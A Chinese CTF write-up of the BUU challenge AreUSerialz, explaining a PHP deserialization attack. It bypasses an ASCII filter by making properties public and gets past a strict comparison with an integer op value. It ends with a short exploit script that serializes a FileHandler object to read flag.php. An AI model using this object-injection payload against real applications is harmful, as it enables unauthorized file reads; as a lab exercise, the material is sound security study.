BUU [网鼎杯 2020 青龙组]AreUSerialz

简介: BUU [网鼎杯 2020 青龙组]AreUSerialz

BUU [网鼎杯 2020 青龙组]AreUSerialz

先看题目,是个php反序列化。源码如下。

<?ph

注意点:


function __construct() {

$this->op = 2;

$this->filename = “flag.php”;

}

construct()里面给变量赋值方法

is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,%00字符的ASCII码为0,不符合上面的要求。


绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

url编码也不行,传进去自动解码,过不去if判断ascii码。


op=2 (int)绕过__destruct。因为类型不一样,int和string,不满足===。


echo file_get_contents("test.txt");       //把整个文件读入一个字符串中,并且回显
echo file_put_contents("test.txt","Hello World. Testing!");   //把一个字符串写入文件中。

链子:__destruct()->process(op= =2)->read()->output(),其他可以不用


这里为什么不是_ _construct开始呢?因为construct在我本地构造序列化字符串时候($j17 = new FileHandler();)就已经执行了,在服务器上面不会执行 _ _construct

exp:
<?php
class FileHandler {
    public $op;
    public $filename;            
    public $content;
    function __construct() {
        $this->op = 2;                                   //只改了
        $this->filename = "flag.php"; (这里也可以用伪协议) //这两行
        $this->content = "Hello World!";                 
    }
}

$j17 = new FileHandler();
echo urlencode(serialize($j17));
?>


目录
相关文章
|
安全 数据安全/隐私保护
BUUCTF 后门查杀 1
BUUCTF 后门查杀 1
1127 0
BUUCTF 后门查杀 1
|
安全 测试技术 PHP
[NPUCTF2020]ReadlezPHP1怎么回事?
NPUCTF2020的ReadlezPHP1题目展示了文件包含漏洞的利用和防御。通过对PHP代码的审计,可以发现并利用文件包含漏洞来读取敏感文件或执行恶意代码。然而,通过严格限制用户输入、使用绝对路径、禁用URL包含和避免动态包含,可以有效地防御文件包含漏洞,从而提高Web应用的安全性。在实际开发中,应时刻保持安全意识,定期进行代码审计和安全测试,以防范潜在的安全风险。
496 36
|
Shell PHP
[GXYCTF2019]Ping Ping Ping1
[GXYCTF2019]Ping Ping Ping1
|
SQL 数据库
[SUCTF 2019]EasySQL1
[SUCTF 2019]EasySQL1
|
安全 Shell PHP
escapeshellarg() 和 escapeshellcmd()
escapeshellarg() 和 escapeshellcmd()
|
PHP Apache
[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn
414 0
|
数据安全/隐私保护
BUU [HCTF 2018]admin
BUU [HCTF 2018]admin
375 0
|
SQL Python
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
2063 0
[CISCN2019 华北赛区 Day2 Web1]Hack World 1 题目分析与详解
|
SQL 关系型数据库 MySQL
[第一章 web入门]SQL注入-2 题目分析与详解
[第一章 web入门]SQL注入-2 题目分析与详解
1270 0
|
Shell PHP
BUUCTF---[MRCTF2020]你传你呢1
BUUCTF---[MRCTF2020]你传你呢1

热门文章

最新文章